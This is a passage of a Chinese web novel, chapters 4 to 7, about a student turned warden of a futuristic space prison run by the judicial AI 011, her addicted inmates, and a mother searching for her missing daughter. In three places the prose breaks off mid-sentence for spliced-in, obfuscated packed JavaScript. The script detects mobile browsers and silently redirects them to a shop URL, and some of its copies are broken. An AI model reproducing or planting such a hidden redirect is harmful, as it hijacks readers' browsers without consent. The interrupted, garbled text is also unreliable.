她只是一名论文都还没通过的大学生,她觉得011应该会有更合适的选项,比如一名专业的人民警察或者武装人员。 011:“您不用担心这个问题,我可以负责任地告诉您这是结果导向的选择,是宇宙大数据的推演,或者说‘命运’。” 而且熬夜看其他国家人民的苦难遭遇情绪波动过大而心肌梗死,灵魂又刚好穿越到了这里来,这种情况也属实罕见。 “听不懂,但你说的对。” 继看动画片和织围巾之后,这个机器人又跟她探讨起人类的命理学来了。 明安其实也没有很担心,毕竟天塌下来有011顶着,合同里说它是这里的管理员,也是蓝星资历最深的司法AI,看起来很靠谱,就连围巾都织得很好。 既然它都说没问题了,她就别操心那么多了。 她将签署好的协议交给它,看了看周围,道:“昨晚谢谢你照顾我,我初来乍到对监狱布局还不太熟悉,你可以陪我去看看犯人,顺便介绍一下这里吗?” 这是一个很合理的要求,011却可疑地沉默了。 它看了看没织完的围巾,又看了看大屏幕上即将抓到一只耳的黑猫警长,最后拿出了一本《监狱管理手册》递给她。 “抱歉,现在是我的下班时间,我相信有它在您不会监狱里走丢的。” “……” 明安决定收回自己之前的想法。 她怎么忘了在职场“资历深=老油条”,这个系统显然不会管天是不是塌下来了,它已经智能到学会抵制加班了! “……好的,下班时间确实应该好好享受,那我就不打扰你了。” 难道以后的机器人也要严格遵守八小时工作制了吗?明安不禁这样想着,神情恍惚地拿着《监狱管理手册》离开了。 她一边翻看一边照着悬浮地图在监狱里探索,这里的科技水平显然比现代高了好几个档次,哪怕是已经看过模型,明安依然感到惊叹,像是穿越到了未来。 事实上这确实来自未来。 手册上记载:很多很多年以后,东州人民万众一心,艰苦卓绝,终于实现了共产主义,并解放了全人类。 但在此期间,山姆国却像积攒已久的毒瘤一样在这个美丽的星球上爆炸了,使得他们永远失去了自己的家园,让这份万众瞩目的胜利也染上了一份遗憾。 于是在科技发展到一定程度后,幸存者们建造了一座空间监狱,配备AI管理员,使其穿越虫洞回到这个年代,寻找合适的执法者,扫黑除恶,净化山姆国,阻止地球……哦不,蓝星的毁灭。 明安看得热血沸腾,脑海中仿佛响起了国歌和《国际歌》,原来在另一个平行时空的未来,全球人民真的站起来了,英特纳雄耐尔也真的实现了。 怪不得这里总是给她陌生又熟悉的感觉,原来系统真的“madeinChina”。 来到监狱核心功能区,明安惊讶地发现那些罪犯和戒|毒人员已经得到了妥善的安置。 系统公布的判决书是一式两份的,有一份翻译成了他们看懂的语言。 虽然不清楚他们是否已经真正理解了自己的处境,但都已经通过全身体检,戴上了电子镣铐,也换上了统一的着装。 疲惫的人得到了休息,生病的人得到了医治,那两具尸体也被封装了起来,还有机器人按时提供营养均衡的膳食,甚至连他们各自的东西也正在筛选和消毒。 看来011上班时间确实很靠谱。 路过戒|毒中心时,明安看到情况没那么严重、犯罪行为轻微或者暴力倾向较低的人正在多媒体教室,观看戒|毒中心的教育宣传片,了解这里的规章制度。 完全用不着她操心,她也没必要操心,毕竟这也不属于她的职责范围。 多媒体教室里,有人随遇而安看得很认真,也有人完全没当一回事。 “这里到底什么地方?为什么要把我们抓过来?凭什么把我们抓过来?!” “你们这是非法监禁!” 一个长着褐色短卷毛的年轻男生愤怒锤桌,对自己的遭遇表示抗议。 旁边的老人认真记着笔记,指了指宣传片,“这里是隶属于蓝星人民空间监狱的戒|毒中心,因为我们吸食了毒|品所以要把我们抓过来治疗和康复,好重新回归人类社会。孩子,你要专心听课。” “……” 卷毛男更生气了,“你以为我没有去过成瘾治疗中心吗?他们根本就没想治好你!他们只想要你的钱!这个地方也一样!” “不,这里可能还更糟糕!” “到处都充满了高科技的东西,就像一个太空实验室,他们一定是想拿我们做实验!” 老人:“什么实验?让我们尝试鸡肉三明治的口味吗,我觉得这相当不错。” 旁边的几个老homeless也表示认同,“是的,真的很不错。” “不!别再说你的三明治了!” “我是说他们会拿我们进行人体实验,制造生物病毒!电击,解剖,或者给富人试药!” 卷毛男的声音越来越大。 老人:“这像是电影里的场景。哦,那个鸡肉三明治真好吃啊,我很久没有吃过热的食物了,而且它还很新鲜……” “对,就是像电影里那样,我不是说你的三明治。” “而且你有注意到吗?这里很多地方有镰刀和锤子的标志,这意味着什么?这是苏大联的军区实验室吗?还是集中营?他们到底想对我们做什么……?” 卷毛男的声音逐渐带着些许颤抖,似乎被自己所说的东西吓到了。 老人:“或许是做三明治?” “……” 明安实在是听不下去了,她推门而入,“苏大联早就解体了,集中营也不长这样,朋友,你在历史课上睡觉了吗?” “哪有什么历史课?那时候我正忙着在街上乞讨!” 卷毛男下意识开口,转头时却满脸惊恐,“就是你!就是你把我抓进来的——” 旁边也有一位黑人老兄道:“哦!就是你!昨晚和我一起出现在警局门口的人!后来情况怎么样了?那个女人找到她的女儿了吗?” “……” 看来吃瓜群众哪个时空都有。 明安默了默,“很遗憾,并没有,不过接下来我会尝试和她一起寻找。” 黑人老兄有些失望,但很快又道:“那可真是太好了!你是个好人!而且我正愁没有找到温暖的地方过冬呢!” “不过我需要告诉你,我的资产早就被该死的银行收走了,还欠了几十万美金的贷款,一分钱都没办法付给你。” 老人:“我也是,而且我快要死了,有时候我甚至怀疑自己已经死了,到了天堂,这里有充足的食物、干净的床铺,还有热水可以洗澡,哦,这太罪恶了。” “全能的主,请你告诉我,我在下地狱之前还能再吃一次鸡肉三明治吗?” “……” 明安又沉默了一下,“……主不掌管三明治,这个问题你应该去问厨师。” 说得她都有点想吃了,也不知道厨房有没有剩。 而且这个“老人”其实也就四十多岁, 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只是她依然穿着漆黑的执法者制服,身量很高,看不到脸,腰间还别着枪,浑身散发的压迫感实在令人难以忽视。 他们或许得到了自己最想要的答案,但却又沉默下来。 没有人吭声,也没有人相信。 不收费?保证衣食住行?还八小时工作制?学完技术之后还能出去? 这听起来简直是在做慈善。 而且这里的环境比外面那些监狱更好,按照那些人一贯的做法,应该收取更多的费用、付出更多的代价,不榨干他们身上的每一滴血就不错了,怎么可能还免费? 与其相信明安的话,他们更宁愿相信自己是即将被用于劳动生产的原材料。 而且吸|毒并不违法,这里又不是东州。 她肯定是随便找了个理由抓他们! 卷毛男就是这么想的,他愤怒地反驳道:“这太虚假了!这么做对你们有什么好处?你们是上帝还是耶稣?” “或者这也是你们实验中的一环,就像是养殖场的禽类需要养肥再宰杀一样!” “我不会再相信你们的骗局!” 国情在此,明安并不意外,她只能无奈地说: “我同情你过去的遭遇。” 但这还真不是亏本生意,也不是做慈善。 这里机械化全覆盖,生产力水平很高,只要付出少量的劳动就能收获巨大的产出,罪犯每天八个小时的工作完全可以覆盖他们消耗的资源,还能有盈余。 而盈余部分则会用于监狱扩建、科技创新和货源补充,以及给她自己发工资。 明安也是看了《监狱管理手册》才发现,这座空间监狱完全能够自给自足,她之前使用的药物和隐形卡居然是监狱车间一步一步生产出来的,靠种的一些平平无奇的植物、养的一些昆虫和动物。 虽然以她的科学知识储备实在难以想象这到底是怎么做到的,但事实就是如此,科学发展到后期就和玄学一样神奇。 不过物品的关键生产环节只由机器进行,不会允许服刑改造人员参与。 总之这完全足够了。 她又不是资本家,监狱也不是商业机构,没必要在罪犯身上榨取更多的利益,多了也没地方用,反而浪费存储空间。 明安想了想,认真地说:“时间会证明一切。” “乖乖听话吧,孩子,反正你现在也没有别的选择,不是吗?” 这在卷毛男眼里就是演都不演了,他气坏了,大声怒吼着,脚腕上的电子镣铐发出尖锐的警报,“恶魔!你是个恶魔!” “上帝不会原谅你的!” “你们一定会下地狱的!!!” 完全没有丝毫攻击力呢,明安面无表情地想。 还不如祖国同胞打游戏骂得凶。 5. 第 5 章 卷毛男名叫丹尼斯,今年二十三岁,出生于俄亥俄州的一个小城。 母亲是家庭主妇,父亲是一家汽车工厂的工人,原先的生活不算富裕但也衣食无忧。 可08年金融危机,工厂关闭,父亲被迫下岗,最后他实在付不起账单了,只能带着全家流落街头,在此期间,母亲为了养活他们被迫去站街,没过多久就得病死了,父亲也一蹶不振吸|毒过量而死亡。 丹尼斯被送去了寄宿家庭。 可第一个寄宿家庭家里有四个孩子,养父母收容他只是为了得到免税额度和政府的补贴,要求他包揽所有家务并出去打工补贴家用,自己只顾着酗酒,有时候还会打他。 第二个寄宿家庭起初看着还不错,态度温和,经济富裕,但他很快就发现男主人有特殊的癖好,喜欢在他洗澡的时候打开浴室的门,有一次还差点侵|犯了他。 他大吵大闹,结果所有人都当做无事发生。 丹尼斯不堪忍受地逃离了那里,也再也不肯相信所谓的“第二个家”和儿童救助机构。 从此他无家可归,只能靠着捡垃圾和乞讨填饱肚子。 有时候好不容易在垃圾桶里翻到一个变质的汉堡,紧接着就有一只鸽子在上面留下了排泄物,他却不得不把它吃下去。 吃完之后他跪在地上痛哭,之后很长一段时间他都会无缘无故地想要呕吐。 那时候他甚至想要回到以前的寄宿家庭,他愿意干活和挨打,哪怕是那个有特殊癖好的男主人也好歹会给他一口饭吃。 后来他才惊觉,这样的待遇在被转移抚养权的孩子里已经算天堂,至少他没有变成餐桌上的美食,亦或是某些精致的收藏品。 可他流浪了太久,早已忘记了回去的路,那些人也不可能再接纳他。 直到有一天,一个来旅游的东方中年人给了他一盒披萨,像朋友一样拍着他的肩膀说:“你还年轻,有手有脚的,只要不沾赌|毒,学着攒钱,总有一天会翻身的,想当年我一个人下广东,没找到工作那会儿跟你一样睡在桥洞里,结果你看现在,我都能出国旅游了……” 丹尼斯看着对方爽朗的面孔,内心油然而生一种羞愧,没敢说自己早就染上了毒|品。 此前他从未觉得这是一种罪恶,但那一刻他听着对方的话内心却升起了一丝希望,他想他确实把很多精力和为数不多的钱浪费在了毒|瘾上。 也许呢,也许确实是毒|品造成了他现在的困境。 如果他戒了毒,是否一切都能有转机? 于是丹尼斯下定了决心。 可戒|毒太难了,街头到处都是大|麻、可|卡因和芬|太尼的味道,获取它们比获取食物还容易,他根本就控制不住自己。 直到不久后,他终于了解到西雅图有一个成瘾治疗中心,据说5到7天就能完成排毒治疗,28天就可以康复出院。 那时候丹尼斯已经成年了,靠试药、卖血和打黑工以及放弃自己的公民身份像黑户一样避税,终于攒下了一点钱。 结果到了那里他才发现,这里的价格贵得离谱,最廉价的方案都要上万美金。 而他没有钱,没有保险,也拿不到政府的补贴。 在他失望之际,医生告诉他医院正在为最新的资料方案收集数据,第一批受试者可以免费享受治疗,只需要支付少量的食宿费。 丹尼斯像是中了百万大奖一样头晕目眩,毫不犹豫地答应了。 于是二十八天之后,他既没有成功戒除毒|瘾,还将自己好不容易攒下的微薄存款也花了个精光。 医院表示不会对此负责,因为失败的原因是他自己“意志力软弱”。 而且后来他才痛苦地发现,自己在成瘾治疗中心经历的一切并不是治疗,而是他们在拿他做实验。 他被注入了更多种合成药物,症状反而更严重了,普通的毒|品都已经无法缓解他的痛苦。 丹尼斯彻底陷入了绝望。 杀死他的不是毒|品,他终于意识到了这一点,可一切都已经晚了,或者说在这个体制里他根本就从未拥有过希望。 然而就在他彻底堕落,打算和自己的父亲一样在这个冬天横尸街头的时候,一个穿着黑色制服的女人突然出现,问他是不是在吸大|麻。 他说是,就被抓来了这个地方。 这里安静温暖,食物丰盛,到处都是科幻电影般的景象,如果是小时候的他一定会很兴奋,但现在丹尼斯只有愤恨。 他甚至怀疑这里就是那个戒|毒公司建立的,是一个针对他们的陷阱。 这些该死的资本家,他们每一个毛孔都吸满了底层人的血!永远不要相信上天的馈赠和他们所谓的善意!——这是那个东方人喜欢骂的话,丹尼斯如今也这样想着。 随遇而安的人到底还是只在少数,大部分和他一样提心吊胆,一有风吹草动就紧绷起来,祈祷自己不要死得太痛苦。 “哦,电视看完了,我们要去工作了,孩子们,快点跟上!” 老人菲尔德催促道。 丹尼斯和其他人只得像羊群一样,被“边牧”机器人赶去下一个地点。 他不明白菲尔德在高兴什么,刚刚的食物可能只是“最后的午餐”,说不定他们马上就要被“宰杀”了,被吃得一根骨头都不剩。 然后这些恶魔赚轻易就赚到了一辈子都花完的钱,还不用承担任何后果! 在丹尼斯在心里愤愤不平的时候,引导机器人将他们带到了农场,让他们换好整洁的工服,还给他们发了几本书。 黑人老兄皱起了脸,“No!为什么又要上课?” 丹尼斯也开始烦躁起来,他连认字都困难,看到书本更是眼睛都睁不开,真不明白这些人到底在搞什么,要做什么就直说,反正他们也无法反抗不是吗? 为什么还要这样折磨他们? 这难道很有趣吗?! 他都决 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060381|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定去死了,为什么还要把他带到这里来口口声声说要拯救他?! 机器人经过后,丹尼斯气愤看向被塞进手里的一叠书,他倒要看看这个锤子监狱又要向他们灌输什么荒谬的言论! 然而看清书名后,他傻眼了。 只见第一本写着《公猪的食用秘诀》,第二本是《母猪的产后护理》。 紧接着还有《鸡妈妈教你如何养鸡》《大鹅心里苦:我为什么要叨你》《你不需要勤换水,也不能勤换鱼》《水稻、麦子与大豆的悄悄话》《秒懂种菜,吃饱如此简单》等等。 里面的用词和排版十分简单易懂,没有任何生僻的拉丁文和专业名词。 简直堪称儿童读物。 一个黄色的农场的培训机器人缓缓走了出来,“实景教学即将开始,请各位学员跟上饱饱的脚步,翻开《公猪的食用秘诀》第一章:公猪为什么要阉割。” 一个女人惊呼:“Cool!” 丹尼斯眼前一黑,简直不敢相信自己的耳朵。 培训机器人继续道:“本章课程结束后会进行随堂小测,正确率低于60%的学员将被送回医务室重新进行智力测试,请大家认真听讲……” “……” 这到底是什么可怕的惩罚?丹尼斯无法想象自己当众被确诊为一个傻子是怎样的场景,那还不如直接杀了他! 三秒钟之后,他满心耻辱地翻开了那本该死的书,去看公猪那该死的吊。 如果这些恶魔的目的是让他感受到痛苦的话,是的,她们成功了! 乐观的菲尔德和黑人老兄也说不出话来了。 哦,可怜的猪先生。 无法否认,这确实是个地狱。 …… 离开戒|毒中心区后,明安去了一趟厨房,看到里面干干净净顿时有些失望,只好继续探索,来到了关押重刑犯的地方。 这里肉眼可见多了好几道生物验证,安防系统高度运转着,建筑的材质看起来也坚硬了不少。 佐伊和通缉犯及其同伙便被关押在这里,而且是一个人一间监房,门上还有观察窗,可以看到里面的情况。 明安发现他们的食物还放在门口没有动。 于是她敲了敲佐伊的房门,“食物没有下毒,你应该吃一点东西补充能量,才有力气继续寻找你的女儿。” 下一秒她就听到“砰”的一声,佐伊撞在门上,头发凌乱,一双充满血丝的眼睛透过观察窗紧紧地盯着她,满是警惕和审视,“你是什么人?CIA还是FBI?” “这里到底是什么地方?!” 明安被她丧尸扑脸般的动作吓了一跳,微微叹气,摘下了脸罩和头盔。 “都不是,佐伊女士,我是蓝星人民法院的执法者,或许你还不能理解这是什么意思,但我可以明确地告诉你,我目前的任务是查清你女儿失踪的真相。” “现在我建议你把饭吃了,然后我们聊一聊。” 6. 第 6 章 年轻东方女人的面容映入眼帘,佐伊怔了怔,不受控制地松懈下来。 明安用实习狱长权限打开了房门,将保温餐盒提到她桌上,“尝尝吧,听说里面有鸡肉三明治,一个叫菲尔德的朋友说味道还不错。” 佐伊却深深地看了她一眼,说:“你是我女儿的同学,我在学校见过你。” “她失踪的前三天,有人来洗手间找她,问你她在不在这里,你说No。” 但她没有想到,再次这个和女儿一样安静内敛的女生见面,会是这种情形。 想到这里,她想起今天是工作日,心中闪过一丝困惑,但很快又打消了。 明安不禁感叹,对方莫非是侦察兵?她和米亚可不是一个院的,平常也只是匆匆偶遇过几次,这样佐伊却还是一眼认出来了,也不知道纯粹是记性好,还是把和自己女儿有交集的人全都调查了一遍。 至于对方说的洗手间,记忆里确实有这回事。 因为原主知道那群人是学校的“强者”,来找米亚的时候有些不怀好意。 原主是个很善良的人。 明安短暂地走了一下神,但很快就将自己的思绪拉回来,说了句“不用向我道谢”,毕竟也不是她本人做的。 她摘下手套向佐伊伸出了手,“你好,佐伊女士,我叫明安,东州人。” 明安没有太在意身份的暴露,毕竟重刑犯除了还没有完全结案的佐伊,基本要么是死刑要么是无期徒刑,根本就没机会从这里出去,也不会和其他人接触。 佐伊的心情变得更复杂了,也有些情理之中,毕竟东州的强大世界有目共睹。 不过现在不是思考“东州为什么跨国执法”或者“山姆国是否遭到了共产主义的入侵”之类的事的时候。她也不在乎。 佐伊深吸一口气,握了一下明安的手,“你好,你说会帮我找到我的女儿,是真的吗?” “不保证找到,但我尽量。”明安说,她不喜欢承诺不确定的事。 佐伊沉默片刻,最终还是没有强求,她说:“如果不是你将我带来了这里,我可能已经死在了警察局,我愿意相信你。” 这么长时间过去,她心里的希望其实也所剩无几了。 明安笑了笑,示意她用餐。 佐伊这回没有再拒绝,坐到了桌子前打开了保温盒,不过她说:“其实我没事,那个会飞的机器人给我灌了一支营养液。”还打了一针医疗液,治好了她的伤。 说到这里佐伊的心情又有些复杂,东州的科技已经发展到了这个程度吗? 明安点了点头,没有太意外。 011估计给她也喝了一支,不然她现在怎么精力充沛还一点都不饿。 不过没真的吃饱还是会觉得少了点什么…… 明安见她开始吃了,情绪也已经稳定下来,便开始问道:“你现在掌握了多少线索,那个目击者的证词确认可信吗?” “我确认,他不会骗我。” 佐伊毫不犹豫地说,还从旧衣服的口袋里翻出自己的手机,虽然这里无法连接外面的信号,但做别的还是没有问题的。 她找出一张照片递给明安,“他叫沃德·达勒,是金县的前任治安官,是我的战友,是个正直的好人,从来不会撒谎,就是他告诉了我女儿的线索。” 明安若有所思地接过,看清照片上的人后却愣了一下,“是他?” 佐伊诧异,“你认识沃德?他几年前被革职了,后来银行收走了他的房子,他就成了无家可归者,我和其他朋友几次想要帮助他,可他变得沉默,不愿意再和我们见面,也拒绝了我们的接济,直到米亚出事,我才重新见到他……” 明安怎么不认识,这不就是她刚穿过来的时候看到的那个流浪汉吗? 当时可把她吓得不轻。 不过现在仔细一想,当时对方似乎没有流露出明显的恶意,和那几个犯人也不是一伙的。 而且在她解决完一切回头看的时候,人已经悄无声息地消失在了第三大街。 只不过当时她没有太放在心上。 佐伊说到这里,声音又沙哑起来,“那天我找米亚找了一天一夜,回来的时候发现他站在我家门口,可是我已经没有精力招待他了,就让他自己从冰箱里拿点东西吃。” “可是他却看着我说:不要做无用功了,佐伊,换个城市重新生活吧。” “那一瞬间我就确认他一定是知道了什么,我不断追问,和他大吵一架,拿刀放在脖子上说米亚就是我活着的希望!” “他沉默了很久,终于开口告诉我:警察带走了她,她已经死了。” 明安听完后久久说不出话来。 如果沃德说的是实情,这件事定然牵涉甚广,一位治安官在其面前都显得这么无力,只能劝自己友人换个城市生活。 不过明安觉得沃德还是没有说出全部的真相,而且佐伊复述的话和媒体报道也有细微的不同。 比如媒体报道的目击证词是“警察带走了米亚的尸体”,而沃德说的却是“警察带走了她,她已经死了”。 按理来说死亡属于重点,除了爱说倒装句的人都会放在前面,尤其沃德还希望佐放弃寻找,说话的时候更应该侧重于打消她的希望,比如直接说:你女儿已经死了,不用找了。 可他偏偏不是这样说的。 明安有点怀疑这其中是否有什么因果关系,比如因为“警察带走了她”,所以“她已经死了”,没有希望了。 而且佐伊说他“正直”“不会撒谎”,如果对方的确实是这个性格,或许这就是他在不撒谎的前提下打消佐伊希望最好的表达方式。 不过这很可能是她想多了,毕竟她也不是什么专业的刑侦人员。 万一人家就爱这么说话呢? 明安没有将这个猜测对佐伊说,只将寻找对方的事加入了待办集里后,又道:“我昨天见过他,不过后来不见了,你知道他平时有可能会去什么地方吗?” 佐伊摇头,沃德是个很有自尊心的人,自从流落街头后就不愿意和朋友联系了,她尊重对方的意愿,没有去特意打听过。 明安没有太失望,又问:“其他的呢?你除了去炸警察局还做过什么?” 佐伊没有隐瞒,沉声道:“我还去了学校找霸凌过我女儿的小团体,但他们说只是在校外东北43街附近抢走她的背包扔进了下水道,之后就离开了。” “除此之外,我还去了一趟局长穆尔的家里,但他住的社区治安太好,我没办法在那里停留太久,所以也没有得到什么收获。” 下水道……明安想起自己猝死那天晚上看的视频,顿时整个人都不好了。 而且米亚是一个爱学习的女孩子,如果那个背包里面有很多她的书籍和笔记的话,她很可能会下去捡的。 明安正要开口,这时监狱的只能监测系统响起,“检测到新的犯罪情况……正在转接司法AI……” 紧接着011的机械音就响起了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060382|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 【根据《东州人民共和国刑法》第二百四十五条规定,非法搜查他人身体、住宅,或者非法侵入他人住宅的,处三年以下有期徒刑或者拘役……*如情况属实,犯罪嫌疑人佐伊将重新判决量刑……】 “……” 它这不还是在加班吗? 明安沉默了一下,对佐伊说:“现在先不用管它,我们说我们的。” 她问:“米亚是在下水道里消失的吗?” 佐伊的神色黯了黯,“根据目击者描述,她确实下去之后就再也没有上来。” 下水道四通八达,里面环境复杂又没有监控,她问了一些无家可归者,他们都说没有见过米亚。 她不清楚这到底是不是实话。 明安深吸一口气,感觉很是棘手,又问了几个问题,确认没有其他遗漏之后。 她换了个话题,带着些许关心道:“佐伊,听说你在服用精神类药物,现在情况怎么样了?” 佐伊不意外她会问这个,苦笑道:“你也看了新闻是吗?是战后应激创伤综合征,但那很久以前的事了,近几年已经很少发作了,是女儿米亚治愈了我。” 那不是一场正义的战争,她回来后也没有得到褒奖。可米亚需要她。 如果不是遇见了米亚,她可能已经下地狱了。 明安微微点头,不予置评。 系统给佐伊做过检查和测评,确实没有媒体说的双相和精神分裂之类的。 她道:“米亚似乎不是你的亲生女儿?” 只要看过这对母女的照片就能很轻易的得出这个事实,因为她们的长相根本不是一个族裔,佐伊是标准的白人女性,米亚是个南美洲人,是非法移民的遗孤。 佐伊说:“但我很爱她。” 血缘不是定义人类联结的唯一因素。 明安轻轻点了点头,结束了今天的提问,“佐伊女士,你现在不适合出现在西雅图市,这段时间就在这里好好休息吧。” 佐伊笑了笑,眉眼已经恢复了一些平和,“当然,警官,我现在是危害公共安全罪和私闯民宅罪的犯罪嫌疑人。” 她也从011那里收到了属于自己的判决书,如果米亚的事没有大到能让她翻案,她将会在这里度过余生或者迎来死刑,毕竟她真的杀死了几个山姆国警察。 明安走出房门的时候,又听佐伊带着压抑的泣音道:“我一直在想,米亚有没有可能还活着,沃德也许是错的,她在等妈妈……这个愿望会不会太贪婪?” 她发现的事佐伊也发现了,并且这是她一直寻找下去的动力。 沃德的提醒起到了反作用。 明安的身形顿了顿,轻声说了句“不会”,便缓缓合上了监房的门。 她深吸一口气,感到了前所未有的挑战。 执法人员属实辛苦,面对的是一个个活生生的人,肩负着许多不为人知的期待。她已经开始不想让这个母亲失望了。 佐伊看着明安离开的方向良久,缓缓放下了手里的食物。 鸡肉三明治确实好吃,但她实在没有胃口享用。 她总是忍不住想米亚,想米亚能不能吃上新鲜的食物,能不能睡在温暖的床上。 可她同时也知道想也没有用,从来到这里的那一刻她就知道自己出不去了,这里的每一道安防措施都令她无计可施。 她现在只能安静地呆在这里,寄希望于那个东州女孩是真的想要帮助她,哪怕这是她们统治世界的一环也好。 7. 第 7 章 What are 离开佐伊的监房后,明安又见了一下那几个想在第三大街对她下手的罪犯。 在佐伊的描述中,那位叫沃德的前金县治安官显然至关重要,找到对方或许就能得到米亚的去向和一些事情的真相。 而且她本人也有疑问想得到解答。 “Whatareyoudoing?!” 一个罪犯不敢置信地看着她。 明安坐在他对面,拿着三明治耸耸肩,“进食,这很难理解吗?” 罪犯被噎得不轻,他当然知道她在进食,可她为什么要吃他的食物?! 发现自己被关押在一个陌生的地方,他一直担惊受怕,不敢吃这种来历不明的东西,万一里面下了毒药怎么办? 但他又没有像佐伊那样被灌营养液,所以饿也是真的饿,于是他一直在吃和不吃之间挣扎着、纠结着,直到刚刚才终于下定决心,心想吃饱了再死总比饿死好。 然后这个把他抓来的女人出现了! 他看到她穿着一身冷峻的制服打开监房的门,面无表情地问他“吃不吃鸡肉三明治”,就在他心生绝望,以为她要将三明治活活塞进他胃袋里的时候,她居然把它喂给了她自己! 她吃了那个可疑的三明治! 察觉到他大脑里正在经历的风暴,明安又咬了一口三明治,有些疑惑,“有什么问题吗?反正你也不想吃不是吗?” 嗯,011的厨艺相当高超,疑似在新西方大厨之上,这个鸡肉三明治确实好吃,鲜嫩的鸡肉夹着新鲜的蔬菜,面包片也烤的软中带酥,还冒着热气,不枉她期待了这么久。 虽然她不爱吃白人饭,但她可怜的胃已经空置太久了,即便不饿她也觉得浑身刺挠,如果有米饭和炒菜就更好了。 可惜011是个比较善解人意的系统,并没有强迫这些外国人去适应中餐。 当然,其实她很怀疑它这么做是为了省时省力…… “……” 罪犯试图争辩,却又无言以对。 好消息:事实证明食物没有毒。 坏消息:他永远错过了他的三明治。 有点干巴,明安这样想着,把保温盒里的牛奶也端出来喝了一口,然后将一张相片放到他面前,“这个人你还有印象吧?” 混蛋!他的牛奶也没有了! 罪犯饿得前胸贴后背,却又敢怒不敢言,只能憋屈地开口,“当然!就是这个老家伙一直拦着我们!不然我们早就——” 他想说不然我们早就抓住你了,可看着眼前气势逼人的明安,又想起自己昨晚的恐怖经历,他顿时又有些气虚。 真的抓得住吗?而不是死得更快? 明安听完他的话终于明了,看来沃德当时确实对她没有恶意,还保护了原主一段时间,凑过来估计只是来确认她的生命迹象。 同时她有些失望,因为这个目击者提起对方是一副很陌生的语气,显然只有被坏了好事的气愤,没有多深入的了解。 果然,紧接着他就小心翼翼地说:“我不认识他,也不知道他去了哪里,这是真的,请你相信我,这样的流浪汉到处都是……” 明安淡淡点头,道:“那么接下来,说说你们为什么要抓我吧。” 罪犯的声音戛然而止。 监房安静下来,明安也不催促,只平静地吃着自己的三明治,时而喝一口牛奶,杯子和桌面碰撞出轻微的响动。 时间一点点地过去,罪犯终于承受不住巨大的心理压力,声音颤抖地开口,“不!我不知道!我只听说可以赚一笔钱,就像把尸体卖给研究所一样,他们说健康的亚裔很珍贵,但只有‘头狼’知道它们会被卖去哪里,我只需要干活拿钱……” 头狼,那个领头的通缉犯,也就是他们的老大。 不过对方非常不配合,甚至差点把011打了,现在还被关在禁闭室里。 明安:“最后一个问题,你们是什么时候知道我是‘被遗弃的’?” 听到“最后”两个字,罪犯看到了希望,连忙道:“昨天下午!是昨天下午!昨天下午我老大接到消息,说0点左右3街会出货!” 明安的目光瞬间冷了下来。 提前那么久就接到消息,而且还能约定那么精准的时间,那个寄宿家庭果然不是无辜的。 罪犯说完后,被她的表情吓到了,胆战心惊地开口,“你、你还有什么问题吗?我一定说!我什么都可以说的!就像你们东州的一句古话:zi、zi,wu……” “……” “知无不言,言无不尽。”明安无语道:“如果你对东州文化感兴趣,可以去图书馆借阅相关书籍,今天就到这里。” 看来这个东州和她原来的祖国文化也是类似的。 “Yes,ma''am,Iwill!Thankyou!Thankyouverymuch!” 罪犯激动地起身,看着她的身影彻底消失在视线里才劫后余生地坐回去。 紧接着他发现保温盒里居然还有一个汉堡,连忙抓起来拼命地往嘴里塞,显然是终于学会了按时吃饭的重要性。 明安又去禁闭室看了眼那个“头狼”的状态,见他一脸狰狞,见她就吠,一副宁死不屈的样子,就知道自己大概率撬不出什么东西来,索性便没有做无用功。 把他的鸡肉三明治也拿走后,明安打算回自己的休息室洗个澡,但她回想起之前佐伊那个疑惑的眼神,却总觉得自己似乎忘了什么重要的事,但又怎么也想不起来。 就在这时,刚从农场里走出来的戒|毒人员迎面碰上了她。 他们一个个双目无神,表情呆滞,犹如刚被狗吃掉了三观。 丹尼斯此时的心情比之前还要愤慨,他崩溃地对她说:“你们这些恶魔!撒旦!你们明明可以直接伤害我们!为什么要去折磨一些猪!它们是无辜的!” 明安听得一头雾水,不知道他又抽什么风,只当他之前吸坏脑子了,“别嚷嚷了,真伤害你你又不高兴。” “……” 这是威胁吗?这一定是吧! 丹尼斯不敢置信地看着她,怎么会有人可以一脸平静地说出那么多气人的话?! 但他还是窝囊地闭嘴了,他害怕她真的会用伤害猪先生的方式伤害他…… 菲尔德就心平气和得多,“长官,不要生气,他只是没有文化,其实我们的很多养殖场也会阉|割公猪的,这并不是这里独一份的。” 很多东州人认为他们国家的猪肉骚,是因为他们的猪不会阉|割。 但其实是会的,只不过他们很少会将血放干净,也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060383|195046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会去除性|腺,这就导致很多激素和粪臭素还残留在肉里。 